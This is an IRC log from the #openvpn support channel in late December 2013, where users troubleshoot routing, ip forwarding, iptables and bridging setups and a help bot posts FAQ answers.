23:18 < kaitrek> wouldn't that be a conflict?
23:18 < kaitrek> for example, how would I ping machines on the lan if they have public ip addresses?
23:27 < pekster> Push a route to them
23:27 < pekster> Nothing is "special" about public addresses
23:39 -!- BigShip [~BigShip@d-66-212-213-207.cpe.metrocast.net] has quit [Quit: KVIrc 4.2.0 Equilibrium http://www.kvirc.net/]
23:52 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 260 seconds]
23:59 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
--- Day changed Sun Dec 29 2013
00:39 -!- corretico [~luis@190.5.215.146] has quit [Read error: Connection reset by peer]
00:40 -!- corretico [~luis@190.5.215.146] has joined #openvpn
01:04 -!- Eryn_1983_FL [~Eryn_1983@72.238.104.100] has joined #openvpn
01:04 < Eryn_1983_FL> hey peeps
01:05 < Eryn_1983_FL> I am having an issue with my openvpn client connection,... Explained down below  VV
01:07 < Eryn_1983_FL> I have one virtual server with Proxy+OpenVPN client setup, works wonderfully, but my system emails are getting sent through the proxy, which is what i want to avoid. is there a way to prevent them from gooing through it and go out the normal ip? whats the easiest why to fix this?
01:14 -!- propheticsquiddy [~Proph@unaffiliated/propheticsquiddy] has quit [Quit: l8rs.]
01:25 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has quit [Quit: Leaving]
01:26 -!- kaitrek [~kaitrek@99-100-178-103.lightspeed.sntcca.sbcglobal.net] has quit [Disconnected by services]
01:31 -!- Devastator [~devas@unaffiliated/devastator] has quit [Ping timeout: 245 seconds]
01:37 < Eryn_1983_FL> i guess i just need to have openvpn not set my gateway as tun1? then i need to specify my proxy traffic to go through tunnel1
02:03 -!- dimm0k [~dimm0k@unaffiliated/dimm0k] has quit [Ping timeout: 252 seconds]
02:05 -!- dimm0k [~dimm0k@unaffiliated/dimm0k] has joined #openvpn
02:22 -!- Synthead [~max@c-67-170-96-239.hsd1.wa.comcast.net] has joined #openvpn
02:24 -!- Synthead [~max@c-67-170-96-239.hsd1.wa.comcast.net] has quit [Remote host closed the connection]
02:25 -!- Synthead [~max@c-67-170-96-239.hsd1.wa.comcast.net] has joined #openvpn
02:30 -!- corretico [~luis@190.5.215.146] has quit [Read error: Connection reset by peer]
02:47 -!- corretico [~luis@190.5.215.146] has joined #openvpn
02:50 -!- ngharo [~ngharo@nexus.sypherz.com] has quit [Ping timeout: 272 seconds]
02:50 -!- ngharo [~ngharo@nexus.sypherz.com] has joined #openvpn
02:54 <+reiffert> Eryn_1983_FL: policy based routing sounds like a working approach.
03:09 -!- Synthead [~max@c-67-170-96-239.hsd1.wa.comcast.net] has quit [Remote host closed the connection]
03:09 -!- fridmarr [~fridmarr@109.201.152.250] has quit [Quit: Leaving]
03:15 -!- ngharo [~ngharo@nexus.sypherz.com] has quit [Ping timeout: 272 seconds]
03:21 -!- ngharo [~ngharo@nexus.sypherz.com] has joined #openvpn
03:22 -!- thecaptain2000 [~quassel@99.154.23.95.dynamic.jazztel.es] has joined #openvpn
03:52 -!- thecaptain2000 [~quassel@99.154.23.95.dynamic.jazztel.es] has quit [Remote host closed the connection]
04:10 -!- takamichi [~takamichi@c107-107.i07-27.onvol.net] has joined #openvpn
04:14 -!- JackSummer [~jack@241.Red-79-154-47.dynamicIP.rima-tde.net] has joined #openvpn
04:20 -!- corretico [~luis@190.5.215.146] has quit [Read error: Connection reset by peer]
04:20 -!- corretico [~luis@190.5.215.146] has joined #openvpn
04:40 -!- Haigha [~root@dovahkiin.xomg.net] has quit [Ping timeout: 248 seconds]
04:40 -!- takamichi [~takamichi@c107-107.i07-27.onvol.net] has quit [Quit: Computer has gone to sleep.]
04:42 -!- takamichi [~takamichi@c107-107.i07-27.onvol.net] has joined #openvpn
04:47 -!- Kuba [~jakub@unaffiliated/kuba] has quit [Quit: leaving]
04:48 -!- smerz [~smerz@f168194.upc-f.chello.nl] has joined #openvpn
04:48 -!- smerz_ [~smerz@f168194.upc-f.chello.nl] has joined #openvpn
04:50 -!- HectorBarbossa [uid7850@gateway/web/irccloud.com/x-zduopncreojlvpjr] has quit [Quit: Updating details, brb]
04:50 -!- HectorBarbossa [uid7850@gateway/web/irccloud.com/x-qwucpijtcwqjmycu] has joined #openvpn
04:52 -!- HectorBarbossa [uid7850@gateway/web/irccloud.com/x-qwucpijtcwqjmycu] has quit [Client Quit]
04:53 -!- HectorBarbossa [uid7850@gateway/web/irccloud.com/x-bscqcnkelaqxasus] has joined #openvpn
04:54 -!- HectorBarbossa [uid7850@gateway/web/irccloud.com/x-bscqcnkelaqxasus] has quit [Client Quit]
04:55 -!- HectorBarbossa [uid7850@gateway/web/irccloud.com/x-khtmxfqifgihbcza] has joined #openvpn
04:56 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
05:03 -!- star314 [~star314@78.142.105.170] has joined #openvpn
05:05 -!- takamichi [~takamichi@c107-107.i07-27.onvol.net] has quit [Ping timeout: 272 seconds]
05:06 -!- takamichi [~takamichi@85.12.8.104] has joined #openvpn
05:09 -!- calcifea [~rasla@gateway/tor-sasl/gitsu-sa] has joined #openvpn
05:10 -!- zxd [~zxd@87.69.188.64] has joined #openvpn
05:11 -!- obesd [~obsed@ppp121-45-210-202.lns20.cbr1.internode.on.net] has quit [Ping timeout: 260 seconds]
05:15 -!- COm_BOY [~IceChat77@unaffiliated/com-boy/x-5438613] has joined #openvpn
05:16 < COm_BOY> I configured OpenVPN server on a VPS and when dialing in it gets stuck from windows and since there was no debugging I tried doing it from the same Linux VPS .. i could see in verb 5 that connection drops just after getting established
05:35 -!- takamichi [~takamichi@85.12.8.104] has quit [Ping timeout: 252 seconds]
05:37 < COm_BOY> Anyone can help me out with all this ?
05:39 -!- takamichi [~takamichi@c107-107.i07-27.onvol.net] has joined #openvpn
05:51 -!- s7r [~s7r@openvpn/user/s7r] has quit [Remote host closed the connection]
05:51 -!- wallbroken_u_z [~wallbroke@unaffiliated/wallbroken] has quit []
05:52 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn
05:52 -!- mode/#openvpn [+v s7r] by ChanServ
06:03 -!- smerz_ [~smerz@f168194.upc-f.chello.nl] has quit [Ping timeout: 246 seconds]
06:03 -!- smerz [~smerz@f168194.upc-f.chello.nl] has quit [Ping timeout: 245 seconds]
06:36 -!- Haigha [~root@dovahkiin.xomg.net] has joined #openvpn
07:09 <+Six6siX> quick question about tunneling and badnwidth
07:09 < COm_BOY> no one answering ....
07:09 < COm_BOY> Six6siX : are you good with setting up openvpn ?
07:10 -!- takamichi [~takamichi@c107-107.i07-27.onvol.net] has quit [Quit: Computer has gone to sleep.]
07:10 <+Six6siX> i use openvpn on my private server to watch netflix. i've also installed vnstat to monitor my bandwidth however from looking at my vnstat logs by monitoring eth0 is that my true bandwidth used? because it doesnt amount to very much..
07:11 <+Six6siX> COm_BOY depends.. I got mine to work
07:11 < COm_BOY> can i PM ?
07:11 <+Six6siX> it would be best if you just said it in here tbh.. Someone else may be able to answer
07:12 < COm_BOY> I also posted on the forum
07:12 < COm_BOY> 2 sec
07:12 < COm_BOY> i will show u the problem
07:12 <+Six6siX> okay
07:12 < COm_BOY> https://forums.openvpn.net/topic14630.html
07:12 <@vpnHelper> Title: OpenVPN Support Forum connected but not sending data : Configuration (at forums.openvpn.net)
07:12 < COm_BOY> Please chekc this
07:14 < COm_BOY> I think the first packet gets connected and then it gets dropped...
07:14 <+Six6siX> have you configured iptables?
07:15 < COm_BOY> yes i put a couple of commands , copied from internet
07:15 < COm_BOY> and from doing that iptables -L
07:15 < COm_BOY> i showed that output there on the web .. or if you want i can do a pastebin
07:15 <+Six6siX> have you enabled ip forwarding?
07:16 <+Six6siX> could you do a paste bin please
07:16 < COm_BOY> is there  a way to chekc .. i followed a tutorual
07:16 < COm_BOY> which command do you want me to pastebin
07:16 <+Six6siX> your iptables forwarding rule
07:17 < COm_BOY> how can i check that
07:17 < COm_BOY> sorry i am just not good with LinxuX OS
07:17 < COm_BOY> iptables -L ?
07:17 <+Six6siX> iptables -L
07:17 < COm_BOY> http://pastebin.com/epMjFnmA
07:17 < COm_BOY> here u go
07:19 < COm_BOY> does this makes sense ?
07:20 <+Six6siX> give me one sec
07:21 -!- takamichi [~takamichi@c107-107.i07-27.onvol.net] has joined #openvpn
07:21 -!- novaflash [~novaflash@openvpn/corp/support/novaflash] has quit [Quit: ABANDON SHIP! ABANDON SHIP!]
07:22 <+Six6siX> COm_BOY http://pastebin.com/Srqt3bfx
07:23 <+Six6siX> once you've done that can you type 'cat /proc/sys/net/ipv4/ip_forward' and paste the output
07:23 < COm_BOY> let me see
07:24 < COm_BOY> 1
07:24 < COm_BOY> done and when i did cat .. it showed 1
07:25 <+Six6siX> okay
07:25 <+Six6siX> you've enabled ip forwarding
07:25 < COm_BOY> you mean it wasnt enabled earlier ?
07:26 <+Six6siX> sorry, I was just confirming that it is enabled
07:26 < COm_BOY> but still it is showing same error ..
07:26 <+Six6siX> you had already done it
07:26 < COm_BOY> yeah .. it stil shows same error
07:26 <+Six6siX> type this /etc/init.d/procps.sh restart
07:26 -!- novaflash_away [~novaflash@its.novaflash.nl] has joined #openvpn
07:27 <+Six6siX> looking at your config for openvpn you haven't enabled a cipher
07:27 -!- novaflash_away is now known as novaflash
07:27 <+Six6siX> uncomment the blowfish cipher which is the default
07:27 < COm_BOY> ok wait
07:28 -!- novaflash [~novaflash@its.novaflash.nl] has quit [Changing host]
07:28 -!- novaflash [~novaflash@openvpn/corp/support/novaflash] has joined #openvpn
07:28 -!- mode/#openvpn [+o novaflash] by ChanServ
07:30 <+Six6siX> also can you cat /var/log/messages and paste the relevent openvpn errors
07:30 < COm_BOY> still same problem
07:30 < COm_BOY> ok wait
07:32 < COm_BOY> Dec 29 17:20:51 anastomosis -- MARK --
07:32 < COm_BOY> this message again and again
07:32 < COm_BOY> noting special there
07:32 < COm_BOY> you want me to do pastebin .. ? but its all MARK there
07:32 <+Six6siX> mmm
07:33 <+Six6siX> change your openvpn config file to verb 3 logging, and restart openvpn, reconnect and pastebin /var/log/messages
07:34 < COm_BOY> verb is already 3
07:34 < COm_BOY> i changed it to 5
07:34 < COm_BOY> now will see and tell you
07:34 <+Six6siX> ok
07:35 < COm_BOY> same thing
07:35 < COm_BOY> MARK stuff
07:35 < COm_BOY> i can give you server access :)
07:35 < COm_BOY> if u have little time to look into it.. i desperately need to get it up n running
07:36 <+Six6siX> anything in /var/log/openvpn-status.log ?
07:36 < COm_BOY> there is no openvpn file there in /var/log
07:37 < COm_BOY> i am using Ubuntu on that VPS
07:37 <+Six6siX> not sure if its allowed here? i am merely trying to help don't want to get banned from here.
07:37 < COm_BOY> can i PM ?
07:55 -!- takamichi [~takamichi@c107-107.i07-27.onvol.net] has quit [Quit: Computer has gone to sleep.]
08:00 -!- corretico [~luis@190.5.215.146] has quit [Read error: Connection reset by peer]
08:01 -!- corretico [~luis@190.5.215.146] has joined #openvpn
08:06 -!- HectorBarbossa [uid7850@gateway/web/irccloud.com/x-khtmxfqifgihbcza] has quit []
08:07 -!- HectorBarbossa [uid7850@gateway/web/irccloud.com/x-ctjrlfxrlajpqpvx] has joined #openvpn
08:10 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has joined #openvpn
08:15 -!- ColaCheater [~ColaCheat@p5B0A7669.dip0.t-ipconnect.de] has joined #openvpn
08:17 < ColaCheater> !welcome
08:17 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample
08:17 <@vpnHelper> !forum !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
08:17 < COm_BOY> +Six6siX : are you there ?
08:20 < ColaCheater> !howto
08:20 <@vpnHelper> "howto" is (#1) OpenVPN comes with a great howto, http://openvpn.net/howto PLEASE READ IT! or (#2) http://www.secure-computing.net/openvpn/howto.php for a mirror
08:22 -!- cali [~cali@unaffiliated/cali] has quit [Ping timeout: 246 seconds]
08:23 -!- COm_BOY [~IceChat77@unaffiliated/com-boy/x-5438613] has quit [Ping timeout: 245 seconds]
08:23 -!- obesd [~obsed@ppp121-45-210-202.lns20.cbr1.internode.on.net] has joined #openvpn
08:24 < ColaCheater> okay... I'm a little bit confused by the bot Ôo (and as the topic asks me to say: I'm not a native english speaker)
08:25 -!- star314 [~star314@78.142.105.170] has quit [Quit: Leaving]
08:25 < ColaCheater> !route
08:25 <@vpnHelper> "route" is (#1) http://www.secure-computing.net/wiki/index.php/OpenVPN/Routing or https://community.openvpn.net/openvpn/wiki/RoutedLans (same page mirrored) if you have lans behind openvpn, read it DONT SKIM IT or (#2) READ IT DONT SKIM IT! or (#3) See !tcpip for a basic networking guide or (#4) See !serverlan or !clientlan for steps and troubleshooting flowcharts for LANs behind the server or
08:25 <@vpnHelper> client
08:27 < ColaCheater> !clientlan
08:27 <@vpnHelper> "clientlan" is (#1) for a lan behind a client, the client must have ip forwarding enabled (!ipforward), the server needs a route to the lan, the server needs to push a route for the lan to clients, the server needs a ccd (!ccd) file for the client with an iroute (!iroute) entry in it, and the router of the lan the client is on needs a route added to it (!route_outside_openvpn) or (#2) see
08:27 <@vpnHelper> !route for a better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/clientlan.png | http://pekster.sdf.org/misc/clientlan.png
08:30 < ColaCheater> !goal I would like to use Ethernet Bridging
08:32 < ColaCheater> (seems like you have to spam the channel with bot-requests. If not tell me how it is used the right way)
08:32 < ColaCheater> !ipforward
08:32 <@vpnHelper> "ipforward" is (#1) ip forwarding is needed any time you want packets to flow from 1 interface to another, so from tun to eth, eth to tun, tun to tun, etc etc. it must be enabled in the kernel AND allowed in the firewall or (#2) please choose between !linipforward !winipforward !osxipforward and !fbsdipforward
08:34 < ColaCheater> !winipforward
08:34 <@vpnHelper> "winipforward" is http://support.microsoft.com/kb/315236 to enable ip forwarding on windows
08:35 -!- cali [~cali@unaffiliated/cali] has joined #openvpn
08:37 -!- goldkatze [~nobody@unaffiliated/goldkatze] has joined #openvpn
08:38 < ColaCheater> !ccd
08:38 <@vpnHelper> "ccd" is (#1) entries that are basically included into server.conf, but only for the specified client based on common-name. use --client-config-dir <dir> to enable it, then put the config options for the client in <dir>/common-name or (#2) the ccd file is parsed each time the client connects.
08:39 -!- loki_ [~nyaaa@188.233.134.248] has quit [Remote host closed the connection]
08:40 < ColaCheater> !iroute
08:40 <@vpnHelper> "iroute" is does not bypass or alter the kernel's routing table, it allows openvpn to know it should handle the routing when the kernel points to it but the network is not one that openvpn knows about. This is only needed when connecting a LAN which is behind a client, and therefor belongs in a ccd entry. Also see !route and !ccd
08:41 -!- loa [~nyaaa@188.233.134.248] has joined #openvpn
08:41 -!- [diecast] [~diecast@unaffiliated/diecast/x-4821952] has joined #openvpn
08:55 < ColaCheater> !serverlan
08:55 <@vpnHelper> "serverlan" is (#1) for a lan behind a server, the server must have ip forwarding enabled (!ipforward), the server needs to push a route for its lan to clients, and the router of the lan the server is on needs a route added to it (!route_outside_openvpn) or (#2) see !route for a better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/serverlan.png |
08:55 <@vpnHelper> http://pekster.sdf.org/misc/serverlan.png
09:01 < ColaCheater> okay, I give up - all these links (and/or google) don't help me.
09:01 < ColaCheater> Anyone here who is willing to give me a hint what goes wrong in my configuration?
09:05 < ColaCheater> I want to use Ethernet Bridging and set it up according to the documentation on openvpn.net. I can connect to the Server but there are 2 Problems: With correct Windows routes, tracert still routes through my default internet-connection (Which ends in a timeout because it can't find 192.168.x.x there). I also tried to connect with 2 clients at the same time and they both get the same IP from the OpenVPN DHCP-Server which doesn't seem r
09:07 < rob0> Cola, no time right now, but generally we recommend AGAINST bridging.
09:07 < rob0> !whybridge
09:07 <@vpnHelper> "whybridge" is (#1) you only bridge if you want layer2 to the lan. if you want layer2 only between vpn nodes then routed tap is enough. if you only want layer3 use tun. or (#2) See this URL for a more in-depth discussion on bridging vs routing: https://community.openvpn.net/openvpn/wiki/BridgingAndRouting or (#3) See also !tunortap
09:08 < rob0> !tunortap
09:08 <@vpnHelper> "tunortap" is (#1) you ONLY want tap if you need to pass layer2 traffic over the vpn (traffic destined for a MAC address). If you are using IP traffic you want tun. or (#2) and if your reason for wanting tap is windows shares, see !wins or use DNS or (#3) remember layer2 has no security, arp poisoning works over tap vpns or (#4) lan gaming? use tap! or (#5) Normal Android/iOS devices (not
09:08 <@vpnHelper> rooted/jailbroken) support only tun
09:15 -!- loa [~nyaaa@188.233.134.248] has quit [Remote host closed the connection]
09:15 < rob0> bbl
09:15 < ColaCheater> well, I don't absolutely need the bridge but it looked the best fit for my use. But okay, I will try to do a more "default" setup and hope that it doesn't give me that many troubles.  Thanks for the response ;)
09:16 < pekster> bridging adds complexities you don't have when routing
09:18 -!- loa [~nyaaa@188.233.134.248] has joined #openvpn
09:19 -!- |1li [~|1li@108-201-65-149.lightspeed.ftwotx.sbcglobal.net] has quit [Read error: Connection reset by peer]
09:19 -!- |1li [~|1li@108-201-65-149.lightspeed.ftwotx.sbcglobal.net] has joined #openvpn
09:20 -!- crus` [~crusader@2001:44b8:319e:2900:20fe:8018:63ba:9b66] has quit [Remote host closed the connection]
09:20 -!- digilink [~digilink@unaffiliated/digilink] has quit [Ping timeout: 246 seconds]
09:20 -!- NChief2_ [~nchief@unaffiliated/nchief] has quit [Ping timeout: 246 seconds]
09:20 -!- crus [~crusader@2001:44b8:319e:2900:20fe:8018:63ba:9b66] has joined #openvpn
09:21 -!- NChief2 [~nchief@unaffiliated/nchief] has joined #openvpn
09:24 -!- map [~Mark@94-193-78-219.zone7.bethere.co.uk] has joined #openvpn
09:25 -!- map is now known as Guest71069
09:25 -!- loa [~nyaaa@188.233.134.248] has quit [Remote host closed the connection]
09:26 -!- Zap-W_ [~zxd@87.69.188.64] has joined #openvpn
09:26 -!- GrecKo_ [~GrecKo@2001:41d0:1:cb16::1] has joined #openvpn
09:26 -!- xorox90_ [uid7069@gateway/web/irccloud.com/x-iibadrsizlbsaxpl] has joined #openvpn
09:27 -!- havoc [~havoc@neptune.chaillet.net] has quit [Ping timeout: 240 seconds]
09:27 -!- moparisthebest_ [~quassel@mailer.moparscape.org] has joined #openvpn
09:27 -!- havoc [~havoc@neptune.chaillet.net] has joined #openvpn
09:28 -!- Varazir_ [~mircwars@c-94-255-130-121.cust.bredband2.com] has joined #openvpn
09:28 -!- NChief2_ [~nchief@unaffiliated/nchief] has joined #openvpn
09:28 -!- |1li [~|1li@108-201-65-149.lightspeed.ftwotx.sbcglobal.net] has quit [Read error: Connection reset by peer]
09:28 -!- frank-- [1000@modemcable026.116-81-70.mc.videotron.ca] has joined #openvpn
09:29 -!- |1li [~|1li@108-201-65-149.lightspeed.ftwotx.sbcglobal.net] has joined #openvpn
09:29 -!- SJrX [~sjr@S010600fb42f573f0.vc.shawcable.net] has joined #openvpn
09:31 -!- meepmeep_ [meepmeep@end.of.cylind.re] has joined #openvpn
09:32 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
09:32 -!- ex0a [~high@unaffiliated/ex0a] has joined #openvpn
09:33 -!- Netsplit *.net <-> *.split quits: zxd, +thumbs, +exoa, +SJr, +Haseo, xorox90, jacob11, moparisthebest, +meepmeep, mapps,  (+6 more, use /NETSPLIT to show all of them)
09:33 -!- COm_BOY [~COm_BOY@5.21.247.178] has joined #openvpn
09:34 < COm_BOY> !seen +Six6Six
09:34 <@vpnHelper> Error: '+Six6Six' is not a valid nick.
09:35 -!- C-S-B [~C-S-B@host86-173-99-141.range86-173.btcentralplus.com] has joined #openvpn
09:41 -!- aji [~alex@atheme/member/aji] has joined #openvpn
09:41 -!- NP-Hardass [~NP-Hardas@unaffiliated/np-hardass] has quit [Quit: WeeChat 0.4.1]
09:43 -!- Zap-W_ is now known as zxd
09:44 -!- jacob11 [uid22180@gateway/web/irccloud.com/session] has joined #openvpn
09:44 -!- Haseo [~Haseo@2001:41d0:2:c0f::1] has joined #openvpn
09:44 -!- jacob11 [uid22180@gateway/web/irccloud.com/session] has quit [Changing host]
09:44 -!- jacob11 [uid22180@gateway/web/irccloud.com/x-kwyxiifgmaodkpwi] has joined #openvpn
09:54 <+Six6siX> Hmm
10:08 -!- dimm0k [~dimm0k@unaffiliated/dimm0k] has quit [Ping timeout: 246 seconds]
10:10 -!- dimm0k [~dimm0k@pool-96-246-33-134.nycmny.fios.verizon.net] has joined #openvpn
10:10 -!- dimm0k [~dimm0k@pool-96-246-33-134.nycmny.fios.verizon.net] has quit [Changing host]
10:10 -!- dimm0k [~dimm0k@unaffiliated/dimm0k] has joined #openvpn
10:12 -!- dvl [~dan@nyi.unixathome.org] has quit [Changing host]
10:12 -!- dvl [~dan@pdpc/supporter/active/dvl] has joined #openvpn
10:17 -!- Devastator [~devas@186.214.111.67] has joined #openvpn
10:20 -!- pa [~pa@unaffiliated/pa] has quit [Ping timeout: 272 seconds]
10:22 -!- mode/#openvpn [-v Six6siX] by ChanServ
10:26 < Six6siX> laters
10:31 -!- NP-Completeass [~NP-Hardas@unaffiliated/np-hardass] has joined #openvpn
10:36 -!- COm_BOY [~COm_BOY@5.21.247.178] has quit [Ping timeout: 252 seconds]
10:47 -!- pa [~pa@host116-70-dynamic.3-87-r.retail.telecomitalia.it] has joined #openvpn
10:47 -!- pa [~pa@host116-70-dynamic.3-87-r.retail.telecomitalia.it] has quit [Changing host]
10:47 -!- pa [~pa@unaffiliated/pa] has joined #openvpn
10:49 -!- |1li [~|1li@108-201-65-149.lightspeed.ftwotx.sbcglobal.net] has quit [Read error: Connection reset by peer]
10:49 -!- |1li [~|1li@108-201-65-149.lightspeed.ftwotx.sbcglobal.net] has joined #openvpn
10:50 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 246 seconds]
10:51 -!- pa [~pa@unaffiliated/pa] has quit [Max SendQ exceeded]
10:58 -!- corretico [~luis@190.5.215.146] has quit [Read error: Connection reset by peer]
11:03 -!- ColaCheater [~ColaCheat@p5B0A7669.dip0.t-ipconnect.de] has left #openvpn []
11:04 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
11:07 -!- james41382 [~james@unaffiliated/james41382] has quit [Quit: Leaving]
11:13 -!- Netsplit *.net <-> *.split quits: +joshh20, PackardBell, +xTz, +Fetch, +eliasp, tdreyer1, +kantlivelong
11:13 -!- Netsplit over, joins: Fetch
11:14 -!- |1li [~|1li@108-201-65-149.lightspeed.ftwotx.sbcglobal.net] has quit [Read error: Connection reset by peer]
11:16 -!- Netsplit over, joins: tdreyer1, eliasp
11:16 -!- Netsplit over, joins: xTz
11:16 -!- Netsplit over, joins: kantlivelong
11:16 -!- xTz is now known as Guest40731
11:17 -!- joshh20_ [~joshh20@v-70-42-74-226.unman-vds.internap-nyc.nfoservers.com] has joined #openvpn
11:17 -!- PackardBell [~Cor@eternalproject.org] has joined #openvpn
11:26 -!- zxd [~zxd@87.69.188.64] has quit [Ping timeout: 252 seconds]
11:29 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 240 seconds]
11:29 -!- loa [~nyaaa@188.233.134.248] has joined #openvpn
11:44 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
11:44 <@krzee> ecrist, #openvpn 211, #freeswitch 209
11:44 <@krzee> 210 now
11:50 -!- digilink [~digilink@2001:470:e457:20da:20c:29ff:fea1:939a] has joined #openvpn
11:51 -!- digilink [~digilink@2001:470:e457:20da:20c:29ff:fea1:939a] has quit [Remote host closed the connection]
11:54 -!- digilink [~digilink@irc.stephennet.net] has joined #openvpn
11:59 -!- digilink [~digilink@irc.stephennet.net] has quit [Changing host]
11:59 -!- digilink [~digilink@unaffiliated/digilink] has joined #openvpn
12:00 -!- pa [~pa@unaffiliated/pa] has joined #openvpn
12:01 -!- [diecast] [~diecast@unaffiliated/diecast/x-4821952] has quit []
12:02 -!- codehero [codehero@irc.coding4coffee.org] has quit [Ping timeout: 272 seconds]
12:03 -!- codehero [codehero@irc.coding4coffee.org] has joined #openvpn
12:06 -!- |1li [~|1li@108-201-65-149.lightspeed.ftwotx.sbcglobal.net] has joined #openvpn
12:06 -!- fvalente [~fvalente@ts.node.pt] has quit [Ping timeout: 260 seconds]
12:07 -!- mcp [~mcp@wolk-project.de] has quit [Ping timeout: 245 seconds]
12:08 -!- mcp [~mcp@wolk-project.de] has joined #openvpn
12:08 -!- reiffert [~thomas@mail.reifferscheid.org] has quit [Ping timeout: 245 seconds]
12:09 -!- fvalente [~fvalente@ts.node.pt] has joined #openvpn
12:12 -!- reiffert [~thomas@mail.reifferscheid.org] has joined #openvpn
12:13 -!- takamichi [~takamichi@c107-107.i07-27.onvol.net] has joined #openvpn
12:14 -!- MorgyN [~mig@island.morgyn.org] has quit [Ping timeout: 252 seconds]
12:14 -!- MorgyN [~mig@island.morgyn.org] has joined #openvpn
12:19 -!- calcifea [~rasla@gateway/tor-sasl/gitsu-sa] has quit [Ping timeout: 240 seconds]
12:21 -!- [diecast] [~diecast@unaffiliated/diecast/x-4821952] has joined #openvpn
12:24 -!- JackSummer [~jack@241.Red-79-154-47.dynamicIP.rima-tde.net] has quit [Read error: Connection reset by peer]
12:26 -!- JackSummer [~jack@241.Red-79-154-47.dynamicIP.rima-tde.net] has joined #openvpn
12:27 -!- calcifea [~rasla@gateway/tor-sasl/gitsu-sa] has joined #openvpn
12:27 -!- JackSummer [~jack@241.Red-79-154-47.dynamicIP.rima-tde.net] has quit [Remote host closed the connection]
12:30 -!- JackSummer [~jack@241.Red-79-154-47.dynamicIP.rima-tde.net] has joined #openvpn
13:08 -!- mastershake [~mastersha@unaffiliated/mastershake] has joined #openvpn
13:09 < mastershake> hey guys, openvpn keeps resetting while trying to connect, but other vpns connect just fine. can someone lend a hand? i can upload the log file if so.
13:11 -!- kaitrek [~kaitrek@unaffiliated/kaitrek] has joined #openvpn
13:11 < mastershake> this is the log- http://pastebin.com/wHpLmxE4
13:12 < mastershake> and this is the config - http://pastebin.com/geGtEJC6
13:12 <@ecrist> client or server log?
13:13 <@ecrist> the server log is going to be most informative
13:13 < mastershake> client log
13:13 < mastershake> where can i find the server log? i dont know where to find it
13:13 < mastershake> the .tgz i downloaded only had keys and a client config
13:14 < kaitrek> server log is on the server
13:14 < kaitrek> do you have access?
13:15 < mastershake> uh the IP is up but i do not have access
13:15 <@ecrist> do you run the server?
13:15 < mastershake> i do not
13:15 <@ecrist> then we cannot help you
13:16 < mastershake> ok, thanks anyway. nothing can be determined from the client and config logs?
13:16 < pekster> No. "The remote end terminates the connection" is the most you can know without server logs
13:17 < pekster> Since you don't control the server, nothing more than that can be determined
13:18 < mastershake> understood. thanks for your time guys.
13:18 <@ecrist> even if we were able to identify the problem, you don't have the ability to fix it.
13:18 <@ecrist> :)
13:19 < mastershake> being that it's an old server i stumbled upon, that makes sense. perhaps it's not maintained anymore.
13:19 < mastershake> old meaning 2006
13:20 < mastershake> "Magnus Net" it was called
13:23 -!- mastershake [~mastersha@unaffiliated/mastershake] has quit [Quit: Leaving]
13:23 <@ecrist> wtf?
13:23 <@ecrist> people find openvpn servers out in the wild and just connect tot hem?
13:38 -!- JackSummer [~jack@241.Red-79-154-47.dynamicIP.rima-tde.net] has quit [Ping timeout: 260 seconds]
13:42 -!- JackSummer [~jack@241.Red-79-154-47.dynamicIP.rima-tde.net] has joined #openvpn
13:48 -!- takamichi [~takamichi@c107-107.i07-27.onvol.net] has quit [Quit: Computer has gone to sleep.]
13:56 -!- mmikeym [~mikeym@184.70.65.118] has joined #openvpn
13:57 -!- dvl [~dan@pdpc/supporter/active/dvl] has quit [Ping timeout: 240 seconds]
13:58 -!- dvl [~dan@nyi.unixathome.org] has joined #openvpn
14:04 -!- debbie10t [~ma1com10t@host-92-20-1-125.as13285.net] has joined #openvpn
14:05 -!- Devastator [~devas@186.214.111.67] has quit [Ping timeout: 272 seconds]
14:13 -!- [diecast] [~diecast@unaffiliated/diecast/x-4821952] has quit [Ping timeout: 246 seconds]
14:14 <@EugeneKay> What's the worst that could happen.
14:15 < rob0> rob0 could say something!
14:16 -!- mode/#openvpn [+q rob0!*@*] by EugeneKay
14:17 <@krzee> hah
14:18 -!- Guest40731 [xtz@DeathStar.Techn0.eu] has quit [Remote host closed the connection]
14:21 -!- mode/#openvpn [+v rob0] by ChanServ
14:22 <+rob0> does v beat q?
14:22 <+rob0> hah
14:22 <+rob0> Now, the worst is yet to come!
14:22 -!- takamichi [~takamichi@c107-107.i07-27.onvol.net] has joined #openvpn
14:23 <@krzee> :D
14:26 -!- mchou [~quassel@c-71-202-64-124.hsd1.ca.comcast.net] has joined #openvpn
14:29 -!- PackardBell [~Cor@eternalproject.org] has quit [Ping timeout: 246 seconds]
14:30 -!- PackardBell [~Cor@eternalproject.org] has joined #openvpn
14:43 -!- mgorbach [~mgorbach@pool-108-20-78-135.bstnma.fios.verizon.net] has quit [Read error: Connection reset by peer]
14:49 -!- PackardBell [~Cor@eternalproject.org] has quit [Ping timeout: 240 seconds]
14:49 -!- mgorbach [~mgorbach@pool-108-20-78-135.bstnma.fios.verizon.net] has joined #openvpn
14:50 -!- PackardBell [~Cor@eternalproject.org] has joined #openvpn
14:51 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has quit [Read error: Connection reset by peer]
